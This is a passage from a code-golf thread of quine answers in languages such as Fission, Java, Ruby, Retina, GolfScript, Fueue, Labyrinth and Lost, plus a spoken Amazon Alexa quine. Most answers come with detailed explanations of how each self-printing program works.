alert(eval(I="'alert(eval(I='+JSON.stringify(I)+'))'")) ``` Or converted to a bookmarklet (costing 22 characters): ``` javascript:eval(I="'javascript:eval(I='+JSON.stringify(I)+')'") ``` [Answer] # [Fission](http://esolangs.org/wiki/Fission), 6 bytes It appears this is now the shortest "proper" quine among these answers. ``` '!+OR" ``` ## Explanation Control flow starts at `R` with a single right-going `(1,0)` atom. It hits `"` toggling print mode and then wraps around the line, printing `'!+OR` before hitting the same `"` again and exiting print mode. That leaves the `"` itself to be printed. The shortest way is `'"O` (where `'"` sets the atom's mass to the character code of `"` and `O` prints the character and destroys the atom), but if we did this the `"` would interfere with print mode. So instead we set the atom's value to `'!` (one less than `"`), then increment with `+` and *then* print the result with `O`. ## Alternatives Here are a couple of alternatives, which are longer, but maybe their techniques inspire someone to find a shorter version using them (or maybe they'll be more useful in certain generalised quines). ### 8 bytes using `J`ump ``` ' |R@JO" ``` Again, the code starts at `R`. The `@` swaps mass and energy to give `(0,1)`. Therefore the `J` makes the atom jump over the `O` straight onto the `"`. Then, as before, all but the `"` are printed in string mode. Afterwards, the atom hits `|` to reverse its direction, and then passes through `'"O` printing `"`. The space is a bit annoying, but it seems necessary, because otherwise the `'` would make the atom treat the `|` as a character instead of a mirror. ### 8 bytes using two atoms ``` "'L;R@JO ``` This has two atoms, starting left-going from `L` and right-going from `R`. The left-going atom gets its value set by `'"` which is then immediately printed with `O` (and the atom destroyed). For the right-going atom, we swap mass and energy again, jump over the `O` to print the rest of the code in print mode. Afterwards its value is set by `'L` but that doesn't matter because the atom is then discarded with `;`. [Answer] ## Java, 528 bytes: A Java solution with an original approach: ``` import java.math.*;class a{public static void main(String[]a){BigInteger b=new BigInteger("90ygts9hiey66o0uh2kqadro71r14x0ucr5v33k1pe27jqk7mywnd5m54uypfrnt6r8aks1g5e080mua80mgw3bybkp904cxfcf4whcz9ckkecz8kr3huuui5gbr27vpsw9vc0m36tadcg7uxsl8p9hfnphqgksttq1wlolm2c3he9fdd25v0gsqfcx9vl4002dil6a00bh7kqn0301cvq3ghdu7fhwf231r43aes2a6018svioyy0lz1gpm3ma5yrspbh2j85dhwdn5sem4d9nyswvx4wmx25ulwnd3drwatvbn6a4jb000gbh8e2lshp",36);int i=0;for(byte c:b.toByteArray()){if(++i==92)System.out.print(b.toString(36));System.out.print((char)c);}}} ``` in readable form: ``` import java.math.*; class a { public static void main (String [] a) { BigInteger b=new BigInteger ("90ygts9hiey66o0uh2kqadro71r14x0ucr5v33k1pe27jqk7mywnd5m54uypfrnt6r8aks1g5e080mua80mgw3bybkp904cxfcf4whcz9ckkecz8kr3huuui5gbr27vpsw9vc0m36tadcg7uxsl8p9hfnphqgksttq1wlolm2c3he9fdd25v0gsqfcx9vl4002dil6a00bh7kqn0301cvq3ghdu7fhwf231r43aes2a6018svioyy0lz1gpm3ma5yrspbh2j85dhwdn5sem4d9nyswvx4wmx25ulwnd3drwatvbn6a4jb000gbh8e2lshp", 36); int i=0; for (byte c:b.toByteArray ()) { if (++i==92) System.out.print (b.toString (36)); System.out.print ((char) c); } } } ``` [Answer] These are the two shortest **Ruby** quines [from SO](https://stackoverflow.com/questions/2474861/shortest-ruby-quine/2475931#2475931): ``` _="_=%p;puts _%%_";puts _%_ ``` and ``` puts <<2*2,2 puts <<2*2,2 2 ``` Don't ask me how the second works... [Answer] ## [Retina](https://github.com/m-ender/retina/wiki/The-Language), ~~20~~ ~~14~~ ~~9~~ 7 bytes Before we get started, I'd like to mention the trivial solution of a file which contains a single `0`. In that case Retina will try to count the `0`s in the empty input, the result of which is also `0`. I wouldn't consider that a proper quine though. So here is a proper one: ``` >\` >\` ``` [Try it online!](https://tio.run/##K0otycxLNPz/3y4mgQuI//8HAA "Retina – Try It Online") Alternatively, we could use `;` instead of `>`. ### Explanation The program consists of a single replacement which we print twice. In the first line, the ``` separates the configuration from the regex, so the regex is empty. Therefore the empty string (i.e. the non-existent input) is replaced with the second line, verbatim. To print the result twice, we wrap it in two output stages. The inner one, `\` prints the result with a trailing linefeed, and the outer one, `>`, prints it without one. If you're a bit familiar with Retina, you might be wondering what happened to Retina's implicit output. Retina's implicit output works by wrapping the final stage of a program in an output stage. However, Retina doesn't do this, if the final stage is already an output stage. The reason for that is that in a normal program it's more useful to be able to replace the implicit output stage with special one like `\` or `;` for a single byte (instead of having to get rid of the implicit one with the `.` flag as well). Unfortunately, this behaviour ends up costing us two bytes for the quine. [Answer] ## GolfScript, 8 bytes I always thought the shortest (true) GolfScript quine was 9 bytes: ``` {'.~'}.~ ``` Where the trailing linefeed is necessary because GolfScript prints a trailing linefeed by default. But I just found an 8-byte quine, which works exactly around that linefeed restriction: ``` ":n`":n` ``` [Try it online!](http://golfscript.tryitonline.net/#code=IjpuYCI6bmA&input=) So the catch is that GolfScript doesn't print a trailing linefeed, but it prints the contents of `n` at the end of the program. It's just that `n` contains a linefeed to begin with. So the idea is to replace that with the string `":n`"`, and then stringifying it, such that the copy on the stack prints with quotes and copy stored in `n` prints without. As pointed out by Thomas Kwa, the 7-byte CJam quine can also be adapted to an 8-byte solution: ``` ".p" .p ``` Again, we need the trailing linefeed. [Answer] # [Fueue](https://github.com/TryItOnline/fueue), 423 bytes Fueue is a queue-based esolang in which the running program *is* the queue. ``` )$$4255%%1(~):[)$$24%%0:<[~:)~)]~[$11~)~<[[+$4--498+*-:~-10)):])<~][)))~]<]](H-):~:[)[):~[)~:~~([:~)*[):~[$1(+48]):~+]-:~~)10)~~]/]+:5):]~:](106328966328112328136317639696111819119696281563139628116326221310190661962811611211962861109696289611619628116111612896281115421063633063961111116163963011632811111819159628151213262722151522061361613096119619190661966311961128966130281807072220060611612811961019070723232022060611 ``` [Try it online!](https://tio.run/##TU9bjsQgDLtMKzVTVRvzSAH1AHsHxOfsDeY3V@8mzKy0VFAnJrb5eT1fz/umZUkh53XFptS6lSGtK7erayOloX0BlPTqfV/ScaRa9sfR9AATtUGXjk5EOq4xtu@DmppIt18nbapbb0qPWS/Y9lSGwX2YgJIpqI6vsbdsStrGBpYYShU/geBnlIhTYpUqAAoq4NiYbEycCHZfQkAEo7IIPl2TwMSG@D3lKv94297zCjkF95cY2f0wl8Bx5OlRZssz5HcC03fn07wzcggsltdmIvu87fqXx7J6Pd2ct@nCJ9tkYBaWd5J5x9/gTLSPXdPZ@/4F "Fueue – Try It Online") # How it works This explanation ~~may or may not have~~ got way out of hand. On the other hand I don't know how to explain it *much* shorter in a way I hope people can follow. ## Fueue cheat sheet See [esolang wiki article](https://esolangs.org/wiki/Fueue) for details, including the few features not used in this program. * The initial program is the initial state of the queue, which can contain the following elements: + Integer literals (only non-negative in the source, but negative ones can be calculated), executing them prints a character. + Square-bracket delimited nested blocks, inert (preserved intact unless some function acts upon them). + Functions, their arguments are the elements following them immediately in the queue: - `+*/-%`: integer arithmetic (`-` is unary, `%` logical negation). Inert if not given number arguments. - `()<`: put element in brackets, remove brackets from block, add final element to block. The latter two are inert unless followed by a block. - `~:`: swap, duplicate. - `$`: copy (takes number + element). Inert before non-number. - `H`: halt program.Note that while `[]` nest, `()` don't - the latter are simply separate functions. ## Execution trace syntax Whitespace is optional in Fueue, except between numerals. In the following execution traces it will be used to suggest program structure, in particular: * When a function executes, it and its arguments will be set off from the surrounding elements with spaces. If some of the arguments are complicated, there may be a space between them as well. * Many execution traces are divided into a "delay blob" on the left, separated from a part to the right that does the substantial data manipulation. See next section. Curly brackets `{}` (not used in Fueue) are used in the traces to represent the integer result of mathematical expressions. This includes negative numbers, as Fueue has only non-negative literals – `-` is the negation function. Various metavariable names and `...` are used to denote values and abbreviations. ## Delaying tactics Intuitively, execution cycles around the queue, partially modifying what it passes through. The results of a function cannot be acted on again until the next cycle. Different parts of the program effectively evolve in parallel as long as they don't interact. As a result, a lot of the code is devoted to synchronization, in particular to delaying execution of parts of the program until the right time. There are a lot of options for golfing this, which tends to turn those parts into unreadable blobs that can only be understood by tracing their execution cycle by cycle. These tactics won't always be individually mentioned in the below: * `)[A]` delays `A` for a cycle. (Probably the easiest and most readable method.) * `~ef` swaps the elements `e` and `f` which also delays their execution. (Probably the least readable, but often shortest for minor delays.) * `$1e` delays a single element `e`. * `-` and `%` are useful for delaying numbers (the latter for `0` and `1`.) * When delaying several equal elements in a row, `:` or `$` can be used to create them from a single one. * `(n` wraps `n` in brackets, which may later be removed at convenience. This is particularly vital for numeric calculations, since numbers are too unstable to even be copied without first putting them in a block. ## Overall structure The rest of the explanation is divided into seven parts, each for a section of the running program. The larger cycles after which most of them repeat themselves will be called "iterations" to distinguish them from the "cycles" of single passes through the entire queue. Here is how the initial program is divided between them: ``` A: )$$4255%%1(~ B: ):[)$$24%%0:<[~:)~)]~[$11~)~<[[+$4--498+*-:~-10)):])<~][)))~]<]] C: D: (H- E: F: G: ):~:[)[):~[)~:~~([:~)*[):~[$1(+48]):~+]-:~~)10)~~]/]+:5):]~:](106328966328112328136317639696111819119696281563139628116326221310190661962811611211962861109696289611619628116111612896281115421063633063961111116163963011632811111819159628151213262722151522061361613096119619190661966311961128966130281807072220060611612811961019070723232022060611 ``` The big numeral at the end of the program encodes the rest in reverse, two digits per character, with 30 subtracted from each ASCII value (so e.g. `10` encodes a `(`.) On a higher level you can think of the data in this program (starting with the bignum) as flowing from right to left, but control flowing from left to right. However, at a lower level Fueue muddles the distinction between code and data all the time. * Section G decodes the bignum into ASCII digits (e.g. digit `0` as the integer `48`), splitting off the least significant digits first. It produces one digit every 15 cycles. * Section F contains the produced digit ASCII values (each inside a block) until section E can consume them. * Section E handles the produced digits two at a time, pairing them up into blocks of the form `[x[y]]`, also printing the encoded character of each pair. * Section D consists of a deeply nested block gradually constructed from the `[x[y]]` blocks in such a way that once it contains all digits, it can be run to print all of them, then halt the entire program. * Section C handles the construction of section D, and also recreates section E. * Section B recreates section C as well as itself every 30 cycles. * Section A counts down cycles until the last iteration of the other sections. Then it aborts section B and runs section D. ## Section A Section A handles scheduling the end of the program. It takes 4258 cycles to reduce to a single swap function `~`, which then makes an adjustment to section B that stops its main loop and starts running section D instead. ``` )$ $4255% %1 (~ )$%%%...%% %0 [~] )$%%%...% %1 [~] ⋮ )$ %0 [~] ) $1[~] )[~] ~ ``` * A `$` function creates 4255 copies of the following `%` while the `(` wraps the `~` in brackets. * Each cycle the last `%` is used up to toggle the following number between `0` and `1`. * When all `%`s are used up, the `$1` creates 1 copy of the `[~]` (effectively a NOP), and on the next cycle the `)` removes the brackets. ## Section B Section B handles regenerating itself as well as a new iteration of section C every 30 cycles. ``` ) : [)$$24%%0:<[~:)~)]~[$11~)~<[[+$4--498+*-:~-10)):])<~][)))~]<]] ) [)$$24%%0:<[~:)~)]~[$11~)~<[[+$4--498+*-:~-10)):])<~][)))~]<]] [BkB] )$ $24% %0 :< [~:)~)] ~ [$11~)~<[[+$4--498+*-:~-10)):])<~][)))~]<] [BkB] )$ %...%%% %1 < < [~:)~)] [BkB] [$11~)~<[[+$4--498+*-:~-10)):])<~][)))~]<] )$ %...%% %0 < [~:)~)[BkB]] [$11~)~<[[+$4--498+*-:~-10)):])<~][)))~]<] )$ %...% %1 [~:)~)[BkB][$11~)~<[[+$4--498+*-:~-10)):])<~][)))~]<]] ⋮ ) $1 [~:)~)[BkB][$11~)~<[[+$4--498+*-:~-10)):])<~][)))~]<]] ) [~:)~)[BkB][$11~)~<[[+$4--498+*-:~-10)):])<~][)))~]<]] (1) ~:) ~)[BkB] [$11~)~<[[+$4--498+*-:~-10)):])<~][)))~]<] ) : [BkB] ) [$11~)~<[[+$4--498+*-:~-10)):])<~][)))~]<] (2) ) [BkB] [BkB] $11~)~<[[+$4--498+*-:~-10)):])<~][)))~]< ``` * A `:` duplicates the big block following (one copy abbreviated as `[BkB]`), then `)` removes the brackets from the first copy. * `$$24%%0` sets up a countdown similar to the one in section A. * While this counts down, `:<` turns into `<<`, and a `~` swaps two of the blocks, placing the code for a new section C last. * The two `<` functions pack the two final blocks into the first one - this is redundant in normal iterations, but will allow the `~` from section A to do its job at the end. * (1) When the countdown is finished, the `)` removes the outer brackets. Next `~:)` turns into `):` and `~)` swaps a `)` to the beginning of the section C code. * (2) Section B is now back at its initial cycle, while a `)` is just about to remove the brackets to start running a new iteration of section C. In the final iteration, the `~` from section A appears at point (1) above: ``` ~ ) [~:)~)[BkB][$11~)~<[[+$4--498+*-:~-10)):])<~][)))~]<]] (1) [~:)~)[BkB][$11~)~<[[+$4--498+*-:~-10)):])<~][)))~]<]] ) ``` The `~` swaps the `)` across the block and into section C, preventing section B from being run again. ## Section C Section C handles merging new digit character pairs into section D's block, and also creating new iterations of section E. The below shows a typical iteration with `x` and `y` representing the digits' ASCII codes. In the very first iteration, the incoming "D" and "E" elements are the initial `[H]` and `-` instead, as no previous section E has run to produce any digit character pairs. ``` C D E $11~ ) ~<[[+$4--498+*-:~-10)):])<~] [)))~] < [)))~[...]] [x[y]] ~~~ ~~~ ~~~ ~~) [[+$4--498+*-:~-10)):])<~] < [)))~] [)))~[...][x[y]]] ~~~ ~~~ ) ~ [[+$4--498+*-:~-10)):])<~] [)))~[)))~[...][x[y]]]] ~~~ ~ ) [)))~[....]] [[+$4--498+*-:~-10)):])<~] ~~[)))~[....]] )[[+$4--498+*-:~-10)):])<~] [)))~[....]] ~[+$4--498+*-:~-10)):])<~ ``` * This uses a different method of synchronization which I discovered for this answer. When you have several swap functions `~` in a row, the row will shrink to approximately 2/3 each cycle (because one `~` swaps two following), but occasionally with a remainder of `~`s that ~~wreaks havoc on~~ carefully manipulates what follows. * `$11~` produces such a row. The next `~` swaps a `<` across the following block. Another `<` at the end appends a new digit pair block (digits x and y as ASCII codes) into the section D block. * Next cycle, the `~` row has a `~~` remainder, which swaps a `~` over the following `)`. The other `<` appends section D to a `[)))~]` block. * Next the swapped `~` itself swaps the following block with new section E code across the section D block. Then a new leftover `~` swaps a `)` across, and finally the last `~~` in the `~` row swap one of them across to section E just as the `)` has removed its brackets. In the final iteration, section A's `~` has swapped a `)` across section B and into section C. However, section C is so short-lived that it already has disappeared, and the `)` ends up at the beginning of section D. ## Section D Section D handles printing the final big numeral and halting the program. During most of the program run, it is an inert block that sections B–G cooperate on building. ``` (H - [H]- ⋮ [)))~[H-]] After one iteration of section C ⋮ [)))~[)))~[H-][49[49]]]] Second iteration, after E has also run ⋮ ) [)))~[...]] [49[48]] Final printing starts as ) is swapped in ))) ~[...][49[48]] )) )[49[48]] [...] )) 49 [48][...] Print first 1 ) )[48] [...] ) 48 [...] Print 0 )[...] Recurse to inner block ... ⋮ )[H-] Innermost block reached H - Program halts ``` * In the first cycle of the program, a `(` wraps the halting function `H` in brackets. A `-` follows, it will be used as a dummy element for the first iteration instead of a digit pair. * The first real digit pair incorporated is `[49[49]]`, corresponding to the final `11` in the numeral. * The very last digit pair `[49[48]]` (corresponding to the `10` at the beginning of the numeral) is not actually incorporated into the block, but this makes no difference as `)[A[B]]` and `)[A][B]` are equivalent, both turning into `A[B]`. After the final iteration, the `)` swapped rightwards from section B arrives and the section D block is deblocked. The `)))~` at the beginning of each sub-block makes sure that all parts are executed in the right order. Finally the innermost block contains an `H` halting the program. ## Section E Section E handles combining pairs of ASCII digits produced by section G, and both prints the corresponding encoded character and sends a block with the combined pair leftwards to sections C and D. Again the below shows a typical iteration with `x` and `y` representing the digits' ASCII codes. ``` E F ~ [+$4--498+*-:~-10)):] ) < ~ [y] [x] ) [+$4--498+*-:~-10)):] < [x] [y] + $4- - 498 +*- :~ -10 ) ) : [x[y]] +--- -{-498} +*- ~~{-10} ) ) [x[y]] [x[y]] +-- - 498 +* -{-10} ~ ) x [y] [x[y]] +- -{-498} + * 10 x )[y] [x[y]] + - 498 + {10*x} y [x[y]] + {-498} {10*x+y} [x[y]] {10*x+y-498} [x[y]] [x[y]] ``` * The incoming digit blocks are swapped, then the y block is appended to the x block, and the whole pair block is copied. One copy will be left until the end for sections C and D. * The other copy is deblocked again, then a sequence of arithmetic functions are applied to calculate `10*x+y-498`, the ASCII value of the encoded character. `498 = 10*48+48-30`, the `48`s undo the ASCII encoding of `x` and `y` while the `30` shifts the encoding from `00–99` to `30–129`, which includes all printable ASCII. * The resulting number is then left to execute, which prints its character. ## Section F Section F consists of inert blocks containing ASCII codes of digits. For most of the program run there will be at most two here, since section E consumes them at the same speed that G produces them with. However, in the final printing phase some redundant `0` digits will collect here. ``` [y] [x] ... ``` ## Section G Section G handles splitting up the big number at the end of the program, least significant digits first, and sending blocks with their ASCII codes leftward to the other sections. As it has no halting check, it will actually continue producing `0` digits when the number has whittled down to 0, until section D halts the entire program with the `H` function. `[BkG]` abbreviates a copy of the big starting code block, which is used for self-replication to start new iterations. Initialization in the first cycles: ``` ) :~ : [)[):~[)~:~~([:~)*[):~[$1(+48]):~+]-:~~)10)~~]/]+:5):]~:] ( 106328966328112328136317639696111819119696281563139628116326221310190661962811611211962861109696289611619628116111612896281115421063633063961111116163963011632811111819159628151213262722151522061361613096119619190661966311961128966130281807072220060611612811961019070723232022060611 ) ~ ~ [)[):~[)~:~~([:~)*[):~[$1(+48]):~+]-:~~)10)~~]/]+:5):]~:] [BkG] [10...11] ) [)[):~[)~:~~([:~)*[):~[$1(+48]):~+]-:~~)10)~~]/]+:5):]~:] ~ [BkG] [10...11] ) [):~[)~:~~([:~)*[):~[$1(+48]):~+]-:~~)10)~~]/]+:5):] ~ : [10...11] [BkG] ``` Typical iteration, `N` denotes the number to split: ``` ) [):~[)~:~~([:~)*[):~[$1(+48]):~+]-:~~)10)~~]/]+:5):] ~ : [N] [BkG] ) :~ [)~:~~([:~)*[):~[$1(+48]):~+]-:~~)10)~~]/]+ :5 ) : [N] : [BkG] ) ~ ~ [)~:~~([:~)*[):~[$1(+48]):~+]-:~~)10)~~]/] +5 5 ) [N] [N] [BkG] [BkG] ) [)~:~~([:~)*[):~[$1(+48]):~+]-:~~)10)~~]/] ~ 10 N [N] [BkG] [BkG] ) ~:~ ~ ( [:~)*[):~[$1(+48]):~+]-:~~)10)~~] / N 10 [N] [BkG] [BkG] ) ~ : [:~)*[):~[$1(+48]):~+]-:~~)10)~~] ( {N/10} [N] [BkG] [BkG] ) [:~)*[):~[$1(+48]):~+]-:~~)10)~~] : [{N/10}] [N] [BkG] [BkG] :~ )*[):~[$1(+48]):~+]- :~ ~)10 ) ~ ~ [{N/10}] [{N/10}] [N] [BkG] [BkG] ~~) *[):~[$1(+48]):~+]- ~~10 ) ) [{N/10}] ~ [{N/10}] [N] [BkG] [BkG] ) ~ * [):~[$1(+48]):~+] -10 ~ ) {N/10} [N] [{N/10}] [BkG] [BkG] ) [):~[$1(+48]):~+] * {-10} {N/10} ) [N] [{N/10}] [BkG] [BkG] ) :~ [$1(+48]) :~ + {-10*(N/10)} N [{N/10}] [BkG] [BkG] ) ~ ~ [$1(+48] ) ~ ~ {N%10} [{N/10}] [BkG] [BkG] ) [$1(+48] ~ ) {N%10} ~ [{N/10}] [BkG] [BkG] $1( + 48 {N%10} ) [BkG] [{N/10}] [BkG] ( {48+N%10} BkG [{N/10}] [BkG] New iteration starts [{48+N%10}] .... ``` * The delay blob here is particularly hairy. However, the only new delaying trick is to use `+:5` instead of `--10` to delay a `10` two cycles. Alas only one of the `10`s in the program was helped by this. * The `[N]` and `[BkG]` blocks are duplicated, then one copy of `N` is divided by `10`. * `[{N/10}]` is duplicated, then more arithmetic functions are used to calculate the ASCII code of the last digit of `N` as `48+((-10)*(N/10)+N)`. The block with this ASCII code is left for section F. * The other copy of `[{N/10}]` gets swapped between the `[BkG]` blocks to set up the start of a new iteration. # Bonus quine (540 bytes) ``` )$$3371%%1[~!~~!)!]):[)$$20%%0[):]~)~~[)$$12%%0[<$$7%~~0):~[+----48+*-~~10))]<]<~!:~)~~[40~[:~))~:~[)~(~~/[+--48):]~10]+30])):]]][)[H]](11(06(06(21(21(25(19(07(07(19(61(96(03(96(96(03(11(03(63(11(28(61(11(06(06(20(18(07(07(18(61(11(28(63(96(11(96(96(61(11(06(06(19(20(07(07(18(61(30(06(06(25(07(96(96(18(11(28(96(61(13(15(15(15(15(22(26(13(12(15(96(96(19(18(11(11(63(30(63(30(96(03(28(96(11(96(96(61(22(18(96(61(28(96(11(11(96(28(96(61(11(96(10(96(96(17(61(13(15(15(22(26(11(28(63(96(19(18(63(13(21(18(63(11(11(28(63(63(63(61(11(61(42(63(63 ``` [Try it online!](https://tio.run/##VVBbjsMwCDxLpESCjaoFO2/lAL2D5c/2Bv3l6lnwo/FaIwsPzIB5f16f13Vh33u/8jBwkE6kwy7iEZR1NAwU8IiCIkawM@Ls@3UQITwkjA890zb@PESYEOMZT@mOJJhIgkYoWocCIr9WPm1myBRHTxE1jjFgeMYIzECLwXHCDLwDrQYNFoZds97uHFi9hyUFbrOC24GAt6qtKatJcuZi0kq0hapaiafqNhuZJZrKVkWu3ecbzoFbEunsWSR7USl0ALXNd/5FtmpHUhOu/t9sLrj7pidTbbH@G6aM0X45zWC78rbbEjdrKchDMkwuM9f1Bw "Fueue – Try It Online") Since I wasn't sure which method would be shortest, I first tried encoding characters as two-digit numbers separated by `(`s. The core code is a bit shorter, but the 50% larger data representation makes up for it. Not as golfed as the other one, as I stopped when I realized it wouldn't beat it. It has one advantage: It doesn't require an implementation with bignum support. Its overall structure is somewhat similar to the main one. Section G is missing since the data representation fills in section F directly. However, section E must do a similar divmod calculation to reconstruct the digits of the two-digit numbers. [Answer] # [Amazon Alexa](https://en.wikipedia.org/wiki/Amazon_Alexa), 31 words ``` Alexa, Simon Says Alexa, Simon Says Alexa, Repeat That Alexa, Simon Says Alexa, Repeat That Alexa, Simon Says, Alexa, Repeat That Alexa, Simon Says Alexa, Repeat That Alexa, Simon Says quiet ``` (each command is on a newline) When said out loud to a device with the Amazon Alexa digital assistant enabled (I've only tested this on the Echo Dot though), it should say the same words back to you. There will be some different lengths of pauses between words, as you wait for Alexa to reply, and it says everything without breaks, but the sequence of words are the same. ### Explanation: Each line is a new Alexa command, one of either: * `Alexa, Simon Says ...`, which will prompt Alexa to say everything afterward the command * `Alexa, Repeat That`, which repeats the last thing Alexa said (neither of these appear on most lists of Alexa commands, so I hope someone has actually learned something from this) We can simplify this to the commands `S` and `R` respectively, separated by spaces. For example, `SR` will represent `Alexa, Simon Says Alexa, Repeat That`. The translation of our program would be: ``` SS R SRSRS R SQ ``` Where `Q` is `quiet` (but can be anything. I chose `quiet` because that's what Alexa produced when I tried to give it `quine`, and it fit, so I kept it). Step by step, we can map each command to the output of each command: ``` Commands: SS Output: S Commands: SS R Output: S S Commands: SS R SRSRS Output: S S RSRS Commands: SS R SRSRS R Output: S S RSRS RSRS Commands: SS R SRSRS R SQ Output: S S RSRS RSRS Q Total Commands: SSRSRSRSRSQ Total Output: SSRSRSRSRSQ ``` The general approach for this was to get the output *ahead* of the input commands. This happens on the second to last command, which gets an extra `S` command. First we have to get behind on output though. The first two commands `SS R` only produce `SS`, leaving us to make up the `R`. However, this allows us to start a `S` command with an `R`, which means we can repeat a section (`RSRS`) multiple times, which allows us to get the spare `S` leftover. After that, all we had to do was use it to say whatever we wanted. [Answer] ## Javascript (36 char) ``` (function a(){alert("("+a+")()")})() ``` This is, AFAICT, the shortest javascript quine posted so far. [Answer] # [Labyrinth](https://github.com/mbuettner/labyrinth), ~~124~~ ~~110~~ 53 bytes *Thanks to Sp3000 for golfing off 9 bytes, which allowed me to golf off another 7.* ``` 44660535853919556129637653276602333! 1 :_98 /8 % @9_. ``` [Try it online!](http://labyrinth.tryitonline.net/#code=NDQ2NjA1MzU4NTM5MTk1NTYxMjk2Mzc2NTMyNzY2MDIzMzMhCjEKOl85OAovOCAlCkA5Xy4&input=) ## Explanation Labyrinth 101: * Labyrinth is a stack-based 2D language. The stack is bottomless and filled with zeroes, so popping from an empty stack is not an error. * Execution starts from the first valid character (here the top left). At each junction, where there are two or more possible paths for the instruction pointer (IP) to take, the top of the stack is checked to determine where to go next. Negative is turn left, zero is go forward and positive is turn right. * Digits in the source code don't push the corresponding number – instead, they pop the top of the stack and push `n*10 + <digit>`. This allows the easy building up of large numbers. To start a new number, use `_`, which pushes zero. * `"` are no-ops. First, I'll explain a slightly simpler version that is a byte longer, but a bit less magical: ``` 395852936437949826992796242020587432! " :_96 /6 % @9_. ``` [Try it online!](http://labyrinth.tryitonline.net/#code=Mzk1ODUyOTM2NDM3OTQ5ODI2OTkyNzk2MjQyMDIwNTg3NDMyIQoiCjpfOTYKLzYgJQpAOV8u&input=) The main idea is to encode the main body of the source in a single number, using some large base. That number can then itself easily be printed back before it's decoded to print the remainder of the source code. The decoding is simply the repeated application of `divmod base`, where print the `mod` and continue working with the `div` until its zero. By avoiding `{}`, the highest character code we'll need is `_` (95) such that base 96 is sufficient (by keeping the base low, the number at the beginning is shorter). So what we want to encode is this: ``` ! " :_96 /6 % @9_. ``` Turning those characters into their code points and treating the result as a base-96 number (with the least-significant digit corresponding to `!` and the most-significant one to `.`, because that's the order in which we'll disassemble the number), we get ``` 234785020242697299628949734639258593 ``` Now the code starts with a pretty cool trick (if I may say so) that allows us to print back the encoding and keep another copy for decoding with very little overhead: we put the number into the code in reverse. I computed the result [with this CJam script](http://cjam.aditsu.net/#code=qW%2596bsW%25&input=!%0A%22%0A%3A_96%0A%2F6%20%25%0A%409_.) So let's move on to the actual code. Here's the start: ``` 395852936437949826992796242020587432! " ``` The IP starts in the top left corner, going east. While it runs over those digits, it simply builds up that number on top of the stack. The number itself is entirely meaningless, because it's the reverse of what we want. When the IP hits the `!`, that pops this number from the stack and prints it. That's all there is to reproducing the encoding in the output. But now the IP has hit a dead end. That means it turns around and now moves back west (without executing `!` again). This time, conveniently, the IP reads the number from back to front, so that now the number on top of the stack *does* encode the remainder of the source. When the IP now hits the top left corner again, this is not a dead end because the IP can take a left turn, so it does and now moves south. The `"` is a no-op, that we need here to separate the number from the code's main loop. Speaking of which: ``` ... " :_96 /6 % @9_. ``` As long as the top of the stack is not zero yet, the IP will run through this rather dense code in the following loop: ``` " >>>v ^< v ^<< ``` Or laid out linearly: ``` :_96%._96/ ``` The reason it takes those turns is because of Labyrinth's control flow semantics. When there are at least three neighbours to the current cell, the IP will turn left on a negative stack value, go ahead on a zero and turn right on a positive stack value. If the chosen direction is not possible because there's a wall, the IP will take the opposite direction instead (which is why there are two left turns in the code although the top of the stack is never negative). The loop code itself is actually pretty straightforward (compressing it this tightly wasn't and is where Sp3000's main contribution is): ``` : # Duplicate the remaining encoding number N. _96 # Push 96, the base. %. # Take modulo and print as a character. _96 # Push 96 again. / # Divide N by 96 to move to the next digit. ``` Once `N` hits zero, control flow changes. Now the IP would like to move straight ahead after the `/` (i.e. west), but there's a wall there. So instead if turns around (east), executes the `6` again. That makes the top of the stack positive, so the IP turns right (south) and executes the `9`. The top of the stack is now `69`, but all we care about is that it's positive. The IP takes another right turn (west) and moves onto the `@` which terminates the code. All in all, pretty simple actually. Okay, now how do we shave off that additional byte. Clearly, that no-op seems wasteful, but we need that additional row: if the loop was adjacent to the number, the IP would already move there immediately instead of traversing the entire number. So can we do something useful with that no-op. Well, in principle we can use that to add the last digit onto the encoding. The encoding doesn't really need to be all on the first line... the `!` just ensures that whatever *is* there also gets printed there. There is a catch though, we can't just do this: ``` 95852936437949826992796242020587432! 3 :_96 /6 % @9_. ``` The problem is that now we've changed the `"` to a `3`, which also changes the actual number we want to have. And sure enough that number doesn't end in `3`. Since the number is completely determined by the code starting from `!` we can't do a lot about that. *But* maybe we can choose another digit? We don't really care whether there's a `3` in that spot as long as we end up with a number that correctly encodes the source. Well, unfortunately, none of the 10 digits yields an encoding whose least-significant digit matches the chosen one. Luckily, there's some leeway in the remainder of the code such that we can try a few more encodings without increasing the byte count. I've found three options: 1. We can change `@` to `/`. In that case we can use any digit from `1357` and get a matching encoding. However, this would mean that the program then terminates with an error, which is allowed but doesn't seem very clean. 2. Spaces aren't the only "wall" characters. Every unused character is, notably all letters. If we use an upper case letter, then we don't even need to increase the base to accommodate it (since those code points are below `_`). 26 choices gives plenty of possibilities. E.g. for `A` any odd digit works. This is a bit nicer, but it still doesn't seem all that elegant, since you'd never use a letter there in real code. 3. We can use a greater base. As long as we don't increase the base significantly, the number of decimal digits in the encoding will remain the same (specifically, any base up to 104 is fine, although bases beyond 99 would actually require additional characters in the code itself). Luckily, base 98 gives a single matching solution: when we use the digit `1`, the encoding also ends in `1`. This is the only solution among bases 96, 97, 98, 99, so this is indeed very lucky. And that's how we end up with the code at the top of this answer. [Answer] # [Lost](https://github.com/Wheatwizard/Lost), ~~293~~ ~~262~~ 249 bytes ``` >:2+52*:6*:(84*+75*):>:::::[[[[[[[:[(52*)>::::[[[[[[:[84*+@>%?!<((((((((((([[[[[[[[[[[[[[ " \#<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\ ``` [Try it online!](https://tio.run/##y8kvLvn/387KSNvUSMvKTMtKw8JES9vcVEvTys4KBKIhwCpaA6hA0w4hZBUNUulgp2qvaKOBANEoQEGJK0bZhlaAi0L9MVz////XdQQA "Lost – Try It Online") ## Explanation This entire project has been an up and down. I kept thinking it was impossible and then coming up with a crazy idea that just might work. Why is a Lost Quine so hard? As you may know Lost is a 2D programming language where the start location and direction are entirely random. This makes writing any lost program about as difficult as writing radiation hardened code. You have to consider every possible location and direction. That being said there are some standard ways to do things. For example here is the standard way of printing a string. ``` >%?"Stringv"(@ ^<<<<<<<<<<<<< ``` This has a collection stream at the bottom that grabs the most of the ips and pulls them to the start location. Once they reach are start location (upper left) we sanitize them with a loop getting 